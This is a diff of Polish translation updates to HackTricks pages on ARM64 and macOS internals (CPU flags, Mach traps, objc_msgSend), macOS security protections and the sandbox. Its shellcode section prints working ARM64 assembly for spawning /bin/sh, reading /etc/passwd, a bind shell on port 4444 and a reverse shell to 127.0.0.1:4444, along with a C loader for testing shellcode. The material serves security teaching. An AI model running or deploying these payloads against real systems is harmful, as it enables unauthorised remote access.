- Flaga **`Q`**: Jest ustawiana na 1, gdy występuje **nasycenie liczb całkowitych** podczas wykonywania specjalnej instrukcji arytmetyki nasycającej. Gdy raz zostanie ustawiona na **`1`**, zachowa wartość do momentu ręcznego ustawienia na 0. Ponadto nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób domyślny, należy odczytać ją ręcznie.
|
||||
- **`GE`** (Większe lub równe) Flagi: Są używane w operacjach SIMD (Single Instruction, Multiple Data), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają przetwarzać wiele punktów danych w pojedynczej instrukcji.
|
||||
* Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64)
|
||||
* Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej nasycającej. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób niejawny, musi to być zrobione przez odczytanie jej ręcznie.
|
||||
* Flagi **`GE`** (Większe lub równe): Używane są w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji.
|
||||
|
||||
Na przykład instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch operandów 32-bitowych) równolegle i przechowuje wyniki w rejestrze 32-bitowym. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednemu z dodawanych bajtów, wskazując, czy dodawanie dla tej pary bajtów **przekroczyło zakres**.
|
||||
Na przykład, instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch 32-bitowych operandów) równolegle i przechowuje wyniki w 32-bitowym rejestrze. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło się**.
|
||||
|
||||
Instrukcja **`SEL`** używa tych flag GE do wykonywania działań warunkowych.
|
||||
Instrukcja **`SEL`** wykorzystuje te flagi GE do wykonywania działań warunkowych.
|
||||
|
||||
#### Rejestry Stanu Wykonania
|
||||
|
||||
- Bity **`J`** i **`T`**: **`J`** powinno być 0, a jeśli **`T`** jest 0, używany jest zestaw instrukcji A32, a jeśli jest 1, używany jest zestaw instrukcji T32.
|
||||
- Rejestr Stanu Bloku IT (`ITSTATE`): Są to bity od 10-15 i 25-26. Przechowują one warunki dla instrukcji wewnątrz grupy z prefiksem **`IT`**.
|
||||
- Bit **`E`**: Wskazuje **kolejność bajtów**.
|
||||
- Bity **Trybu i Maska Wyjątku** (0-4): Określają bieżący stan wykonania. Piąty wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku obecnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **określa bieżący priorytet** w przypadku wywołania innego wyjątku podczas obsługi tego.
|
||||
* Bity **`J`** i **`T`**: **`J`** powinien być 0, a jeśli **`T`** jest 0, używana jest instrukcja A32, a jeśli jest 1, używana jest T32.
|
||||
* **Rejestr Stanu Bloku IT** (`ITSTATE`): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem **`IT`**.
|
||||
* Bit **`E`**: Wskazuje na **endianness**.
|
||||
* **Bity Maski Trybu i Wyjątku** (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek zostanie wywołany podczas jego obsługi.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Pewne wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. **`I`** konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F dotyczy **szybkich żądań przerwania** (FIR).
|
||||
* **`AIF`**: Niektóre wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** wynosi 1, oznacza to, że **asynchroniczne przerwania** będą wywoływane. **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związane z **szybkimi żądaniami przerwań** (FIR).
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -335,9 +336,9 @@ Sprawdź [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.
|
|||
|
||||
### Pułapki Mach
|
||||
|
||||
Sprawdź w [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` oraz w [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) prototypy. Maksymalna liczba pułapek Mach to `MACH_TRAP_TABLE_COUNT` = 128. Pułapki Mach będą miały **x16 < 0**, dlatego należy wywoływać numery z poprzedniej listy z użyciem znaku minus: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**.
|
||||
Sprawdź w [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) tabelę `mach_trap_table` oraz w [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) prototypy. Maksymalna liczba pułapek Mach to `MACH_TRAP_TABLE_COUNT` = 128. Pułapki Mach będą miały **x16 < 0**, więc musisz wywołać numery z poprzedniej listy z **minusem**: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**.
|
||||
|
||||
Możesz również sprawdzić **`libsystem_kernel.dylib`** w deasemblerze, aby dowiedzieć się, jak wywołać te (i BSD) wywołania systemowe:
|
||||
Możesz również sprawdzić **`libsystem_kernel.dylib`** w dezasemblatorze, aby znaleźć, jak wywołać te (i BSD) wywołania systemowe:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -349,31 +350,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Zauważ, że **Ida** i **Ghidra** mogą również dekompilować **specyficzne dyliby** z pamięci podręcznej, po prostu przekazując pamięć podręczną.
|
||||
|
||||
{% hint style="success" %}
|
||||
Czasami łatwiej jest sprawdzić **zdekompilowany** kod z **`libsystem_kernel.dylib`** **niż** sprawdzanie **kodu źródłowego**, ponieważ kod kilku wywołań systemowych (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w pliku dylib można znaleźć, co jest wywoływane.
|
||||
Czasami łatwiej jest sprawdzić **dekompilowany** kod z **`libsystem_kernel.dylib`** **niż** sprawdzać **kod źródłowy**, ponieważ kod kilku wywołań systemowych (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w dylib możesz znaleźć, co jest wywoływane.
|
||||
{% endhint %}
|
||||
|
||||
### wywołania machdep
|
||||
|
||||
XNU obsługuje inny rodzaj wywołań zwany zależnym od maszyny. Liczba tych wywołań zależy od architektury i ani wywołania, ani ich liczby nie są gwarantowane, że pozostaną stałe.
|
||||
XNU obsługuje inny typ wywołań zwany zależnymi od maszyny. Liczba tych wywołań zależy od architektury, a ani wywołania, ani liczby nie są gwarantowane, że pozostaną stałe.
|
||||
|
||||
### strona comm
|
||||
|
||||
Jest to strona pamięci właściciela jądra, która jest odwzorowana w przestrzeni adresowej każdego procesu użytkownika. Ma to na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra szybciej niż przy użyciu wywołań systemowych do usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne.
|
||||
To jest strona pamięci należąca do jądra, która jest mapowana do przestrzeni adresowej każdego procesu użytkownika. Ma na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra w porównaniu do używania wywołań systemowych dla usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne.
|
||||
|
||||
Na przykład wywołanie `gettimeofdate` odczytuje wartość `timeval` bezpośrednio ze strony comm.
|
||||
Na przykład wywołanie `gettimeofdate` odczytuje wartość `timeval` bezpośrednio z strony comm.
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
To bardzo często spotykana funkcja używana w programach Objective-C lub Swift. Ta funkcja pozwala na wywołanie metody obiektu Objective-C.
|
||||
Bardzo często można znaleźć tę funkcję używaną w programach Objective-C lub Swift. Ta funkcja pozwala na wywołanie metody obiektu Objective-C.
|
||||
|
||||
Parametry ([więcej informacji w dokumentacji](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
|
||||
* x0: self -> Wskaźnik do instancji
|
||||
* x1: op -> Selektor metody
|
||||
* x2... -> Pozostałe argumenty wywołanej metody
|
||||
* x2... -> Reszta argumentów wywoływanej metody
|
||||
|
||||
Więc jeśli ustawisz punkt przerwania przed skokiem do tej funkcji, łatwo można znaleźć, co jest wywoływane w lldb za pomocą (w tym przykładzie obiekt wywołuje obiekt z `NSConcreteTask`, który uruchomi polecenie):
|
||||
Więc, jeśli ustawisz punkt przerwania przed przejściem do tej funkcji, możesz łatwo znaleźć, co jest wywoływane w lldb (w tym przykładzie obiekt wywołuje obiekt z `NSConcreteTask`, który uruchomi polecenie):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
|
@ -392,32 +395,32 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ustawienie zmiennej środowiskowej **`NSObjCMessageLoggingEnabled=1`** pozwala zalogować, kiedy ta funkcja jest wywoływana w pliku takim jak `/tmp/msgSends-pid`.
|
||||
Ustawiając zmienną środowiskową **`NSObjCMessageLoggingEnabled=1`**, można rejestrować, kiedy ta funkcja jest wywoływana w pliku takim jak `/tmp/msgSends-pid`.
|
||||
|
||||
Ponadto, ustawienie **`OBJC_HELP=1`** i wywołanie dowolnego pliku binarnego pozwala zobaczyć inne zmienne środowiskowe, które można użyć do **logowania** wystąpienia określonych akcji Objc-C.
|
||||
Ponadto, ustawiając **`OBJC_HELP=1`** i wywołując dowolny binarny, można zobaczyć inne zmienne środowiskowe, które można wykorzystać do **logowania**, kiedy występują określone akcje Objc-C.
|
||||
{% endhint %}
|
||||
|
||||
Gdy ta funkcja jest wywoływana, konieczne jest znalezienie wywołanej metody wskazanego egzemplarza, w tym celu dokonywane są różne wyszukiwania:
|
||||
Kiedy ta funkcja jest wywoływana, należy znaleźć wywoływaną metodę wskazanej instancji, w tym celu przeprowadza się różne wyszukiwania:
|
||||
|
||||
* Wykonaj optymistyczne wyszukiwanie w pamięci podręcznej:
|
||||
* Jeśli sukces, zakończ
|
||||
* Pozyskaj runtimeLock (odczyt)
|
||||
* Jeśli zakończone sukcesem, gotowe
|
||||
* Zdobądź runtimeLock (odczyt)
|
||||
* Jeśli (realize && !cls->realized) zrealizuj klasę
|
||||
* Jeśli (initialize && !cls->initialized) zainicjuj klasę
|
||||
* Spróbuj pamięć podręczną klasy:
|
||||
* Jeśli sukces, zakończ
|
||||
* Spróbuj listę metod klasy:
|
||||
* Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
|
||||
* Spróbuj pamięć podręczną nadklasy:
|
||||
* Jeśli sukces, zakończ
|
||||
* Spróbuj listę metod nadklasy:
|
||||
* Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
|
||||
* Jeśli (resolver) spróbuj rozwiązujący metodę i powtórz od wyszukiwania klasy
|
||||
* Jeśli nadal tutaj (= wszystko inne zawiodło) spróbuj forwarder
|
||||
* Spróbuj pamięci podręcznej własnej klasy:
|
||||
* Jeśli zakończone sukcesem, gotowe
|
||||
* Spróbuj listy metod klasy:
|
||||
* Jeśli znalezione, wypełnij pamięć podręczną i gotowe
|
||||
* Spróbuj pamięci podręcznej klasy nadrzędnej:
|
||||
* Jeśli zakończone sukcesem, gotowe
|
||||
* Spróbuj listy metod klasy nadrzędnej:
|
||||
* Jeśli znalezione, wypełnij pamięć podręczną i gotowe
|
||||
* Jeśli (resolver) spróbuj resolvera metod i powtórz od wyszukiwania klasy
|
||||
* Jeśli nadal tutaj (= wszystko inne nie powiodło się) spróbuj forwardera
|
||||
|
||||
### Kody Shell
|
||||
### Shellcodes
|
||||
|
||||
Do kompilacji:
|
||||
Aby skompilować:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
@ -425,14 +428,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
Aby wydobyć bajty:
|
||||
Aby wyodrębnić bajty:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
Dla nowszych wersji macOS:
|
||||
Dla nowszych macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -441,7 +444,7 @@ done
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>Kod C do przetestowania shellcode'u</summary>
|
||||
<summary>Kod C do testowania shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -489,7 +492,7 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
#### Powłoka
|
||||
#### Shell
|
||||
|
||||
Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wyjaśnione.
|
||||
|
||||
|
@ -511,7 +514,7 @@ sh_path: .asciz "/bin/sh"
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="z użyciem stosu" %}
|
||||
{% tab title="ze stosem" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -542,7 +545,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="z adr dla systemu Linux" %}
|
||||
{% tab title="z adr dla linux" %}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
|
@ -561,9 +564,9 @@ sh_path: .asciz "/bin/sh"
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Odczyt za pomocą polecenia cat
|
||||
#### Czytaj za pomocą cat
|
||||
|
||||
Celem jest wykonanie `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, dlatego drugi argument (x1) to tablica parametrów (które w pamięci oznaczają stos adresów).
|
||||
Celem jest wykonanie `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, więc drugi argument (x1) to tablica parametrów (co w pamięci oznacza stos adresów).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -589,7 +592,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Wywołaj polecenie za pomocą sh z odgałęzienia, aby główny proces nie został zabity
|
||||
#### Wywołaj polecenie z sh z fork, aby główny proces nie został zabity
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -633,9 +636,9 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Powiązane powłoki
|
||||
#### Bind shell
|
||||
|
||||
Powiązane powłoki z [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porcie 4444**
|
||||
Bind shell z [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porcie 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -717,7 +720,7 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Odwrócony shell
|
||||
#### Reverse shell
|
||||
|
||||
Z [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell do **127.0.0.1:4444**
|
||||
```armasm
|
||||
|
@ -787,16 +790,16 @@ mov x16, #59
|
|||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i praktykuj Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i praktykuj Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępniaj sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Ochrony bezpieczeństwa macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -27,6 +27,10 @@ Więcej informacji w:
|
|||
|
||||
## Ograniczenia procesów
|
||||
|
||||
### MACF
|
||||
|
||||
|
||||
|
||||
### SIP - Ochrona integralności systemu
|
||||
|
||||
{% content-ref url="macos-sip.md" %}
|
||||
|
@ -43,7 +47,7 @@ MacOS Sandbox **ogranicza aplikacje** działające w piaskownicy do **dozwolonyc
|
|||
|
||||
### TCC - **Przejrzystość, Zgoda i Kontrola**
|
||||
|
||||
**TCC (Przejrzystość, Zgoda i Kontrola)** to ramy zabezpieczeń. Zostały zaprojektowane, aby **zarządzać uprawnieniami** aplikacji, szczególnie regulując ich dostęp do wrażliwych funkcji. Obejmuje to elementy takie jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do pełnego dysku**. TCC zapewnia, że aplikacje mogą uzyskać dostęp do tych funkcji tylko po uzyskaniu wyraźnej zgody użytkownika, co wzmacnia prywatność i kontrolę nad danymi osobowymi.
|
||||
**TCC (Przejrzystość, Zgoda i Kontrola)** to ramy zabezpieczeń. Zostały zaprojektowane, aby **zarządzać uprawnieniami** aplikacji, regulując ich dostęp do wrażliwych funkcji. Obejmuje to elementy takie jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do pełnego dysku**. TCC zapewnia, że aplikacje mogą uzyskać dostęp do tych funkcji tylko po uzyskaniu wyraźnej zgody użytkownika, co wzmacnia prywatność i kontrolę nad danymi osobowymi.
|
||||
|
||||
{% content-ref url="macos-tcc/" %}
|
||||
[macos-tcc](macos-tcc/)
|
||||
|
@ -65,8 +69,8 @@ Gdy złośliwe oprogramowanie zostanie wykryte na Macu (czy to przez XProtect, c
|
|||
|
||||
Chociaż zarówno XProtect, jak i MRT są częścią środków zabezpieczeń macOS, pełnią różne funkcje:
|
||||
|
||||
* **XProtect** jest narzędziem zapobiegawczym. **Sprawdza pliki w momencie ich pobierania** (za pośrednictwem niektórych aplikacji), a jeśli wykryje jakiekolwiek znane rodzaje złośliwego oprogramowania, **zapobiega otwarciu pliku**, tym samym zapobiegając zainfekowaniu systemu w pierwszej kolejności.
|
||||
* **MRT**, z drugiej strony, jest **narzędziem reaktywnym**. Działa po wykryciu złośliwego oprogramowania w systemie, mając na celu usunięcie szkodliwego oprogramowania, aby oczyścić system.
|
||||
* **XProtect** jest narzędziem zapobiegawczym. **Sprawdza pliki w momencie ich pobierania** (za pośrednictwem niektórych aplikacji), a jeśli wykryje jakiekolwiek znane rodzaje złośliwego oprogramowania, **zapobiega otwarciu pliku**, tym samym zapobiegając infekcji systemu przez złośliwe oprogramowanie.
|
||||
* **MRT**, z drugiej strony, jest **narzędziem reaktywnym**. Działa po wykryciu złośliwego oprogramowania w systemie, mając na celu usunięcie szkodliwego oprogramowania w celu oczyszczenia systemu.
|
||||
|
||||
Aplikacja MRT znajduje się w **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
|
||||
|
@ -135,16 +139,17 @@ kill -SIGSTOP 1011
|
|||
ps -o state 1011
|
||||
T
|
||||
```
|
||||
* **Błąd**: Jeśli **proces, który stworzył trwałość, istnieje szybko po nim**, demon spróbuje **uzyskać informacje** na jego temat, **nie powiedzie się** i **nie będzie w stanie wysłać zdarzenia** wskazującego, że nowa rzecz jest trwała.
|
||||
* **Błąd**: Jeśli **proces, który stworzył trwałość, istnieje szybko po nim**, demon spróbuje **uzyskać informacje** na jego temat, **nie powiedzie się** i **nie będzie w stanie wysłać zdarzenia** wskazującego, że nowa rzecz trwa.
|
||||
|
||||
Referencje i **więcej informacji o BTM**:
|
||||
|
||||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
|
|
|
@ -21,7 +21,7 @@ MacOS Sandbox (początkowo nazywany Seatbelt) **ogranicza aplikacje** działają
|
|||
|
||||
Każda aplikacja z **uprawnieniem** **`com.apple.security.app-sandbox`** będzie uruchamiana w piaskownicy. **Binarne pliki Apple** są zazwyczaj uruchamiane w piaskownicy, a wszystkie aplikacje z **App Store mają to uprawnienie**. Tak więc kilka aplikacji będzie uruchamianych w piaskownicy.
|
||||
|
||||
Aby kontrolować, co proces może lub nie może robić, **Sandbox ma haki** w prawie każdej operacji, którą proces może próbować (w tym większości wywołań systemowych) przy użyciu **MACF**. Jednak w zależności od **uprawnień** aplikacji, Sandbox może być bardziej pobłażliwy wobec procesu.
|
||||
Aby kontrolować, co proces może lub nie może robić, **Sandbox ma haki** w prawie każdej operacji, którą proces może próbować (w tym większość wywołań systemowych) przy użyciu **MACF**. Jednak w zależności od **uprawnień** aplikacji, Sandbox może być bardziej pobłażliwy wobec procesu.
|
||||
|
||||
Niektóre ważne komponenty Sandbox to:
|
||||
|
||||
|
@ -125,7 +125,7 @@ Wszystko stworzone/zmodyfikowane przez aplikację w piaskownicy otrzyma **atrybu
|
|||
|
||||
## Profile Piaskownicy
|
||||
|
||||
Profile piaskownicy to pliki konfiguracyjne, które wskazują, co będzie **dozwolone/zabronione** w tej **piaskownicy**. Używa **Języka Profilu Piaskownicy (SBPL)**, który wykorzystuje język programowania [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||
Profile piaskownicy to pliki konfiguracyjne, które wskazują, co będzie **dozwolone/zabronione** w tej **piaskownicy**. Używa języka **Sandbox Profile Language (SBPL)**, który wykorzystuje język programowania [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||
|
||||
Tutaj znajdziesz przykład:
|
||||
```scheme
|
||||
|
@ -151,19 +151,19 @@ Sprawdź to [**badanie**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-
|
|||
Zauważ, że w skompilowanej wersji profilu nazwy operacji są zastępowane ich wpisami w tablicy znanej przez dylib i kext, co sprawia, że skompilowana wersja jest krótsza i trudniejsza do odczytania.
|
||||
{% endhint %}
|
||||
|
||||
Ważne **usługi systemowe** również działają w swoich własnych niestandardowych **sandboxach**, takich jak usługa `mdnsresponder`. Możesz zobaczyć te niestandardowe **profile sandboxów** w:
|
||||
Ważne **usługi systemowe** również działają w swoich własnych niestandardowych **sandboxach**, takich jak usługa `mdnsresponder`. Możesz zobaczyć te niestandardowe **profile sandbox** w:
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`**
|
||||
* Inne profile sandboxów można sprawdzić w [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
* Inne profile sandbox można sprawdzić w [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
|
||||
